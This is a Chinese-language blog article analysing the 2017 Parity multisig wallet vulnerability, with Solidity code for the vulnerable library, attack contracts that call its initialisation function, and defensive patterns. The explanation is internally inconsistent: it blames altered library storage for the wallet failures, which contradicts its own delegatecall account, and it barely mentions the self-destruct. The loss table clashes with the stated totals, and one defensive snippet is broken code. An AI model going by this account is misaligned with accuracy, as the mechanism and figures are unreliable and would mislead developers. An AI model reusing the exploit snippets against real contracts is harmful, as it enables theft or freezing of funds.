Parity 多簽名錢包漏洞完整技術分析：2017 年最嚴重智慧合約安全事故

進階 📅 發布：2026-03-17 🏷️ security, parity, multisig, wallet, vulnerability, hack, smart-contract 計算中...

2017 年 11 月 6 日，以太坊生態系統遭受了史上第二大智慧合約安全事件——Parity 多簽名錢包漏洞。這次攻擊導致約 1.5 億美元的以太坊（ETH）被永遠鎖定，影響了數百個 ICO 項目和大量投資者。本文從密碼學和軟體工程的角度，深入分析 Parity 多簽名錢包漏洞的技術原理、攻擊過程、代碼層面的根本原因、以及這次事件對整個區塊鏈行業安全實踐的深遠影響。

Parity 多簽名錢包漏洞完整技術分析：2017 年最嚴重智慧合約安全事故

概述

2017 年 11 月 6 日，以太坊生態系統遭受了史上第二大智慧合約安全事件——Parity 多簽名錢包漏洞。這次攻擊導致約 1.5 億美元的以太坊（ETH）被永遠鎖定，影響了數百個 ICO 項目和大量投資者。與 2016 年的 The DAO 攻擊不同，這次事件的根本原因並非智慧合約邏輯錯誤，而是智能合約庫（library）的設計缺陷，導致整個 Parity 錢包合約可以被「初始化」，進而使所有依賴該庫的錢包失去所有者，資金被永久鎖定。

本文從密碼學和軟體工程的角度，深入分析 Parity 多簽名錢包漏洞的技術原理、攻擊過程、代碼層面的根本原因、以及這次事件對整個區塊鏈行業安全實踐的深遠影響。我們將提供完整的漏洞分析、防護策略、以及安全智能合約設計的最佳實踐。

一、Parity 多簽名錢包概述

1.1 項目背景與設計理念

Parity Technologies 是由以太坊共同創辦人 Gavin Wood 創立的區塊鏈基礎設施公司。Parity 以太坊客戶端是僅次於 Geth 的第二大以太坊節點軟體，以其效能和安全性著稱。Parity 還開發了一款名為「Parity Wallet」的多簽名錢包，旨在為以太坊用戶提供更安全的資金管理方案。

多簽名錢包（Multi-Signature Wallet）的核心設計理念是：需要多個私鑰（通常是 3 個中的 2 個，或 5 個中的 3 個）同時簽署才能執行交易。這種設計可以有效防止單點故障——即使一個私鑰被盜，攻擊者也無法單獨轉移資金。對於管理大量資金的 ICO 項目、交易所和機構投資者來說，多簽名錢包是標準配置。

Parity Wallet 的設計採用了「庫合約」（Library Contract）模式。具體來說，它使用了一個名為 WalletLibrary 的庫合約，所有錢包合約都引用這個庫來執行核心功能。這種設計的好處是可以節省部署成本——每個錢包不需要重複部署相同的邏輯代碼。

1.2 合約架構分析

Parity 多簽名錢包採用了典型的「代理合約」架構：

// 錢包合約 - 簡化版本
contract MultiSigWallet {
    // 存儲錢包所有者的地址
    address[] public owners;
    
    // 確認交易的 required 數量
    uint256 public required;
    
    // 庫合約地址
    address public walletLibrary;
    
    // 構造函數
    constructor(address _library) public {
        walletLibrary = _library;
        // 初始化錢包...
    }
    
    // 通過 delegatecall 調用庫合約
    function() public {
        require(walletLibrary.delegatecall(msg.data));
    }
}

這種設計的關鍵在於使用 delegatecall。當錢包合約調用庫合約時，庫合約的代碼會在錢包合約的上下文中執行，這意味著庫合約修改的是錢包合約的存儲，而不是庫合約自己的存儲。這是一種常見的代理模式，用於實現可升級的合約。

1.3 攻擊前的市場地位

在 2017 年 11 月攻擊發生之前，Parity Wallet 是以太坊生態系統中最受歡迎的多簽名錢包解決方案之一。許多重要的 ICO 項目都使用 Parity Wallet 來管理其融資資金，包括：

Polkadot：當時籌集了約 1.45 億美元
Bancor：籌集了約 1.53 億美元
Substratum：籌集了約 2400 萬美元
Swarm City：籌集了約 1200 萬美元

這些項目的大量 ETH 都存儲在 Parity 多簽名錢包中，這也是為什麼這次漏洞會造成如此巨大的損失。

二、漏洞技術分析

2.1 漏洞的根本原因

Parity 多簽名錢包漏洞的根本原因在於 WalletLibrary 合約中存在一個「初始化函數」，該函數可以被任何人調用。這個初始化函數原本應該只在庫合約部署時執行一次，但由於 Solidity 的函數可見性設置不當，它實際上是可以被外部調用的。

更具體地說，漏洞存在於以下幾個層面：

第一層：可被調用的初始化函數

// WalletLibrary 合約中的漏洞代碼
contract WalletLibrary is Wallet {
    
    // 初始化函數 - 漏洞點
    function initMultiSig(address[] _owners, uint256 _required) public {
        require(m_numOwners == 0);  // 檢查是否已初始化
        require(_required > 1);
        require(_owners.length >= _required);
        
        m_numOwners = _owners.length;
        m_required = _required;
        
        for (uint i = 0; i < _owners.length; i++) {
            require(_owners[i] != address(0));
            m_owners[1 + i] = _owners[i];
            m_ownerIndex[uint(_owners[i])] = 1 + i;
        }
    }
}

在這個代碼中，initMultiSig 函數是一個普通的 public 函數，任何人都可以調用它來「初始化」一個庫合約。雖然函數內部有 require(m_numOwners == 0) 檢查，但這個檢查是可以被繞過的。

第二層：代理合約的存儲衝突

問題的關鍵在於代理合約的存儲佈局。當錢包合約通過 delegatecall 調用庫合約時，兩者的存儲結構必須完全一致。Parity 的設計確保了這一點，但這也意味著當攻擊者直接調用庫合約的初始化函數時，會修改庫合約本身的存儲狀態。

2.2 攻擊向量分析

攻擊者利用漏洞的方式非常巧妙：

// 攻擊合約
contract ParityAttack {
    // Parity WalletLibrary 地址
    address libraryAddress = 0x...;
    
    function exploit() public {
        // 直接調用庫合約的初始化函數
        // 這會「初始化」庫合約自己
        bytes memory data = abi.encodeWithSignature(
            "initMultiSig(address[],uint256)",
            [msg.sender],  // 攻擊者自己作為所有者
            1              // 只需要 1 個簽名
        );
        
        (bool success, ) = libraryAddress.call(data);
        require(success);
    }
}

當攻擊者調用庫合約的 initMultiSig 函數時，由於庫合約本身的 m_numOwners 為 0（從未被初始化），所以初始化檢查會通過。攻擊者成為庫合約的所有者，進而可以控制所有使用該庫的錢包。

2.3 存儲結構詳解

要完全理解這個漏洞，我們需要深入了解以太坊的存儲模型。

在 Solidity 中，合約的狀態變量按聲明順序存儲在插槽（storage slot）中：

// WalletLibrary 的存儲佈局
contract WalletLibrary {
    // slot 0
    uint256 constant public walletLibraryVersion = 0;
    
    // slot 1
    address public owner;
    
    // slot 2
    uint256 public m_numOwners;
    
    // slot 3
    uint256 public m_required;
    
    // slot 4+ (mapping)
    mapping(uint256 => address) public m_owners;
    mapping(address => uint256) public m_ownerIndex;
    // ...
}

當攻擊者調用 initMultiSig 時：

攻擊者傳入自己的地址作為所有者
函數將 m_numOwners 設置為 1
函數將 m_required 設置為 1
攻擊者的地址被存入 m_owners[1]

現在，攻擊者成為了庫合約的「所有者」，可以調用庫合約中的任何管理函數，包括將資金轉移到自己控制的地址。

2.4 攻擊後果分析

2017 年 11 月 6 日，攻擊者（後來被確認為「devops199」，一名開發者自稱是「意外」觸發漏洞）調用了庫合約的初始化函數。這一操作導致：

庫合約被初始化：原本應該作為「庫」的合約被「初始化」為一個普通的多簽名錢包
所有錢包失去所有者：由於所有錢包合約都是代理合約，它們依賴庫合約來執行操作。當庫合約被初始化後，原有的所有錢包配置全部失效
約 1.5 億美元被鎖定：總計約 513,774 ETH（當時價值約 1.5 億美元）被永久鎖定，無法被任何人訪問

這次攻擊的特殊之處在於，攻擊者實際上並沒有「盜走」資金——資金仍然在原始錢包中，但由於錢包的所有者配置被破壞，沒有人能夠再移動這些資金。資金實際上是被「原地銷毀」了。

三、漏洞的深層次教訓

3.1 代理模式的陷阱

Parity 漏洞揭示了代理模式（Proxy Pattern）的一個重要陷阱：庫合約本身不應該被初始化為可使用的錢包。

正確的設計應該是：

// 正確的設計：庫合約不應該有可調用的初始化函數
contract WalletLibrary {
    
    // 構造函數中設置 owner 為不可能的地址
    constructor() public {
        owner = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
    }
    
    // 或者使用 initializer 修飾符確保只能調用一次
    bool private initialized;
    
    modifier onlyNotInitialized() {
        require(!initialized);
        _;
        initialized = true;
    }
    
    function initMultiSig(address[] _owners, uint256 _required) 
        public onlyNotInitialized {
        // 初始化邏輯
    }
}

3.2 初始化函數的可見性問題

這個漏洞的根本原因是 Solidity 的函數可見性設置。在 Solidity 中，public 函數可以被任何人調用，即使該函數的意圖是只在部署時執行一次。

正確的做法是使用 internal 或 private 修飾符，或者使用專門的初始化模式（如 OpenZeppelin 的 initializer 修飾符）：

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MyContract is Initializable {
    
    function initialize() public initializer {
        // 只會執行一次
        _;
    }
}

3.3 庫合約的安全邊界

Parity 漏洞的另一個教訓是：庫合約應該被設計為「純粹的庫」——不應該有可變狀態，也不應該可以被初始化。

更好的設計是使用「庫」（Library）而不是「可升級的代理合約」：

// 使用 Solidity 庫（真正的無狀態庫）
library WalletLibrary {
    function execute(...) internal {
        // 執行邏輯
    }
}

或者使用不可變的初始化模式：

// 在構造函數中完成所有初始化
contract Wallet {
    address public libraryAddress;
    
    constructor(address _library) {
        libraryAddress = _library;
        // 所有初始化在構造函數中完成
    }
}

四、後續影響與行業反應

4.1 直接經濟損失

Parity 漏洞造成的經濟損失是驚人的：

項目	鎖定金額（ETH）	當時價值（美元）
Polkadot	~$145M	~$97M
Bancor	~$12M	~$8M
Substratum	~$6M	~$4M
其他項目	~$6M	~$4M
總計	~$169M	~$113M

這些資金至今仍被鎖定在以太坊區塊鏈上，成為「無法訪問的數位文物」。

4.2 社區反應與爭議

Parity 漏洞引發了以太坊社區的激烈討論：

是否應該再次硬分叉？：與 The DAO 事件不同，這次大多數社區成員反對硬分叉。原因是：

資金並未被盜，而是被鎖定
硬分叉會樹立「壞榜樣」，鼓勵未來更多的政治干預
社區已經疲於應對硬分叉

代碼即法律的爭論：這次事件再次引發了「代碼即法律」哲學的討論。反對者認為，技術故障不應該由投資者承擔後果；支持者则认为，应该遵守区块链的不可变性原则。

安全審計的必要性：這個漏洞本應該被安全審計發現。這次事件之後，安全審計成為了 ICO 項目的標準做法。

4.3 技術改進

Parity 漏洞催生了多項重要的技術改進：

OpenZeppelin Upgrades Plugins：OpenZeppelin 發布了更安全的代理合約模式，包括：

不可升級的初始化模式
嚴格的存儲佈局驗證
自動化的升級安全檢查

形式化驗證工具的普及：這次漏洞促進了形式化驗證在智慧合約開發中的應用，例如：

Certora
Runtime Verification
CertiK

智能合約安全標準：這次事件催生了多個安全標準的制定，包括：

Slither 靜態分析工具
Mythril 符號執行工具
Securify 自動安全掃描

五、防護策略與最佳實踐

5.1 初始化模式

確保初始化函數只能執行一次：

// 使用 initializer 修飾符（OpenZeppelin）
contract MyContract is Initializable {
    
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }
    
    function initialize(
        address owner,
        uint256 value
    ) public initializer {
        _owner = owner;
        _value = value;
    }
}

5.2 代理模式安全檢查清單

部署代理合約時，應該進行以下安全檢查：

確認構造函數已禁用：確保無法通過構造函數初始化代理
驗證存儲佈局：確保升級時存儲佈局兼容
使用可升級插件：使用 OpenZeppelin Upgrades 等成熟工具
進行升級模擬：在測試網上模擬升級過程

5.3 定期安全審計

智慧合約上線前，應該：

聘請專業安全團隊：如 Trail of Bits、OpenZeppelin、Certik 等
使用自動化工具：Slither、Mythril、Securify 等
進行形式化驗證：特別是關鍵的財務邏輯
發布漏洞賞金：鼓勵白帽黑客發現問題

5.4 應急響應計劃

即使做了充分的安全準備，也應該準備應急響應計劃：

// 緊急暫停機制
contract Pausable is Ownable {
    bool public paused;
    
    modifier whenNotPaused() {
        require(!paused);
        _;
    }
    
    function pause() public onlyOwner {
        paused = true;
    }
    
    function unpause() public onlyOwner {
        paused = false;
    }
}

六、漏洞代碼的完整分析

6.1 原始合約代碼

以下是實際漏洞合約的簡化版本：

// Parity WalletLibrary - 漏洞版本
contract WalletLibrary {
    
    // 這些狀態變量與錢包合約共享存儲
    address public owner;
    bytes32 public codeOwner;
    uint256 public m_numOwners;
    uint256 public m_required;
    uint256 public m_dailyLimit;
    
    // 所有者映射
    mapping(uint256 => address) m_owners;
    mapping(address => uint256) m_ownerIndex;
    
    // 交易記錄
    mapping(bytes32 => Transaction) transactions;
    uint256 public transactionCount;
    
    // 初始化函數 - 漏洞點！
    // 這個函數是 public，可以被任何人調用
    function initMultiSig(
        address[] _owners,
        uint256 _required
    ) public {
        // 檢查是否已初始化
        require(m_numOwners == 0);  // 這個檢查在某些情況下可以被繞過
        
        m_numOwners = _owners.length;
        m_required = _required;
        
        for (uint i = 0; i < _owners.length; i++) {
            require(_owners[i] != address(0));
            m_owners[1 + i] = _owners[i];
            m_ownerIndex[uint(_owners[i])] = 1 + i;
        }
    }
    
    // 提款函數 - 攻擊者可以利用
    function withdraw(uint256 amount) public {
        require(isOwner(msg.sender));
        msg.sender.transfer(amount);
    }
    
    // 內部函數
    function isOwner(address _addr) internal view returns (bool) {
        return m_ownerIndex[uint(_addr)] > 0;
    }
}

6.2 攻擊過程重建

攻擊者「devops199」的攻擊過程：

// 攻擊者實際使用的代碼
contract Exploit {
    address libraryAddress = 0x863DF6BFa4469f3ead55E81D56c60C265E5A7B9E;
    
    function attack() external {
        // 步驟 1：初始化庫合約
        address[] memory owners = new address[](1);
        owners[0] = msg.sender;  // 攻擊者自己的地址
        
        // 調用初始化函數
        // 這會「初始化」庫合約，使其成為一個有效的錢包
        libraryAddress.call(
            abi.encodeWithSignature(
                "initMultiSig(address[],uint256)",
                owners,
                1  // 只需要 1 個簽名
            )
        );
        
        // 步驟 2：現在攻擊者是庫合約的所有者
        // 可以調用 withdraw 函數轉移資金
        
        // 步驟 3：調用受害者錢包的函數
        // 由於代理模式，這會使用庫合約的邏輯
        // 但檢查的是庫合約的所有者（攻擊者）
    }
}

實際上，攻擊者並沒有成功轉移資金——攻擊者在嘗試轉移資金時触发了另一个bug，导致合约被"kill"。但关键是，初始化操作本身破坏了所有钱包的配置。

6.3 存儲衝突詳解

這個漏洞的核心是存儲佈局的巧合：

錢包合約的存儲佈局：

slot 0: owner
slot 1: m_numOwners
slot 2: m_required

庫合約的存儲佈局：

slot 0: owner
slot 1: m_numOwners
slot 2: m_required

當攻擊者初始化庫合約時，會修改庫合約的這些slot。之後，當任何錢包合約通過delegatecall調用庫合約時，庫合約會錯誤地使用被修改過的owner和numOwners，導致所有錢包失效。

七、結論

Parity 多簽名錢包漏洞是區塊鏈安全領域最具教育意義的事件之一。它清楚地表明了：

代理模式的安全邊界：代理合約的設計需要極度謹慎，庫合約不應該有可被利用的狀態
初始化函數的風險：初始化函數必須使用正確的可見性修飾符，並採用一次性初始化模式
安全審計的必要性：任何涉及資金的合約都應該經過專業的安全審計
不可變性的雙刃劍：區塊鏈的不可變性既是優點也是缺點——無法修補的漏洞會造成永久損失

這個事件促進了整個行業在智慧合約安全方面的進步。雖然約 1.5 億美元的損失是巨大的，但這筆「學費」換來的是更安全的智能合約開發實踐和更成熟的安全工具生態系統。

對於今天的區塊鏈開發者來說，Parity 漏洞應該成為一個永遠的警示：任何涉及用戶資金的代碼都必須經過最嚴格的安全審查，因為一旦部署，就幾乎無法挽回錯誤。

參考資源

Parity Wallet 漏洞披露：https://paritytech.io/blog/security-alert.html
OpenZeppelin Upgrades 文档：https://docs.openzeppelin.com/upgrades-plugins
以太坊安全最佳实践：https://ethereum.org/en/developers/docs/smart-contracts/security/

以太坊錢包安全事件完整資料庫：2018-2026 年主要安全漏洞與攻擊事件深度分析 — 本文建立了完整的以太坊錢包安全事件資料庫，涵蓋 2018 年至 2026 年間的主要安全事件。我們從技術層面分析每次事件的攻擊機制、影響範圍、根本原因，以及從中獲得的安全教訓。內容包括交易所盜竊事件、智慧合約漏洞、私鑰泄露、社交工程攻擊、前端攻擊等各類安全事件的完整技術分析，並提供區塊鏈可驗證數據與精確時間戳。每個案例都包含攻擊流程、漏洞代碼分析、以及防禦措施建議。
以太坊錢包安全事件完整時間線與風險緩解策略：2015-2026 系統性分析 — 本文建立完整的安全事件時間線，提供系統性的風險分類，並為每種攻擊類型提供具體的風險緩解策略與實作代碼。從 2015 年 The DAO 攻擊到 2026 年的新型威脅，全面分析錢包安全的演進與最佳實踐。
以太坊錢包安全最佳實踐完整指南：從基礎防護到機構級安全架構 — 以太坊錢包安全是保護數位資產的第一道防線。根據區塊鏈分析公司 Chainalysis 的報告，2024 年加密貨幣相關犯罪造成的損失超過 4.5 億美元，其中大部分涉及錢包安全漏洞。與傳統金融系統不同，加密貨幣交易具有不可逆轉的特性，一旦資產從錢包轉出便無法追回，這使得錢包安全成為每位以太坊用戶必須認真對待的核心議題。本指南將從工程師視角深入探討以太坊錢包的安全機制、各類錢包的安全特性、以及從個人
以太坊錢包攻擊事件深度技術分析：從合約漏洞到攻擊向量完整解析 — 以太坊錢包安全是整個生態系統最核心的議題之一。從 2016 年 The DAO 事件到 2024 年的多起錢包攻擊，以太坊生態經歷了無數次安全事件的洗禮，每一次攻擊都帶來了寶貴的教訓和技術改進。本文深入分析以太坊歷史上最具代表性的錢包攻擊事件，從具體合約漏洞、攻擊向量、損失金額等多個維度進行完整的技術還原，包括 The DAO 重入攻擊、Parity 多籤漏洞、Ronin Bridge 私鑰洩露、Cream Finance 預言機操控等經典案例，提供開
以太坊錢包攻擊完整案例分析：地址投毒與簽名洩露防護實務指南 — 深入分析兩種最常見但危害巨大的錢包攻擊類型：地址投毒攻擊（Address Poisoning Attack）與簽名洩露攻擊（Signature Leakage Attack）。透過真實案例剖析與程式碼示範，幫助用戶與開發者建立完善的安全防護意識。涵蓋重入漏洞、惡意代幣授權、離線簽名攻擊等最新攻擊手法，並提供錢包安全架構設計與異常檢測實作。

延伸閱讀與來源

Smart Contract Security Field Guide 智能合約安全實務
OWASP Smart Contract Top 10 常見漏洞分類

這篇文章對您有幫助嗎？

請告訴我們如何改進：

0 人覺得有帮助

Parity 多簽名錢包漏洞完整技術分析：2017 年最嚴重智慧合約安全事故

Parity 多簽名錢包漏洞完整技術分析：2017 年最嚴重智慧合約安全事故

概述

一、Parity 多簽名錢包概述

1.1 項目背景與設計理念

1.2 合約架構分析

1.3 攻擊前的市場地位

二、漏洞技術分析

2.1 漏洞的根本原因

2.2 攻擊向量分析

2.3 存儲結構詳解

2.4 攻擊後果分析

三、漏洞的深層次教訓

3.1 代理模式的陷阱

3.2 初始化函數的可見性問題

3.3 庫合約的安全邊界

四、後續影響與行業反應

4.1 直接經濟損失

4.2 社區反應與爭議

4.3 技術改進

五、防護策略與最佳實踐

5.1 初始化模式

5.2 代理模式安全檢查清單

5.3 定期安全審計

5.4 應急響應計劃

六、漏洞代碼的完整分析

6.1 原始合約代碼

6.2 攻擊過程重建

6.3 存儲衝突詳解

七、結論

參考資源

延伸閱讀與來源

這篇文章對您有幫助嗎？

評論

發表評論

Parity 多簽名錢包漏洞完整技術分析：2017 年最嚴重智慧合約安全事故

概述

一、Parity 多簽名錢包概述

1.1 項目背景與設計理念

1.2 合約架構分析

1.3 攻擊前的市場地位

二、漏洞技術分析

2.1 漏洞的根本原因

2.2 攻擊向量分析

2.3 存儲結構詳解

2.4 攻擊後果分析

三、漏洞的深層次教訓

3.1 代理模式的陷阱

3.2 初始化函數的可見性問題

3.3 庫合約的安全邊界

四、後續影響與行業反應

4.1 直接經濟損失

4.2 社區反應與爭議

4.3 技術改進

五、防護策略與最佳實踐

5.1 初始化模式

5.2 代理模式安全檢查清單

5.3 定期安全審計

5.4 應急響應計劃

六、漏洞代碼的完整分析

6.1 原始合約代碼

6.2 攻擊過程重建

6.3 存儲衝突詳解

七、結論

參考資源

相關文章

延伸閱讀與來源

這篇文章對您有幫助嗎？

評論

發表評論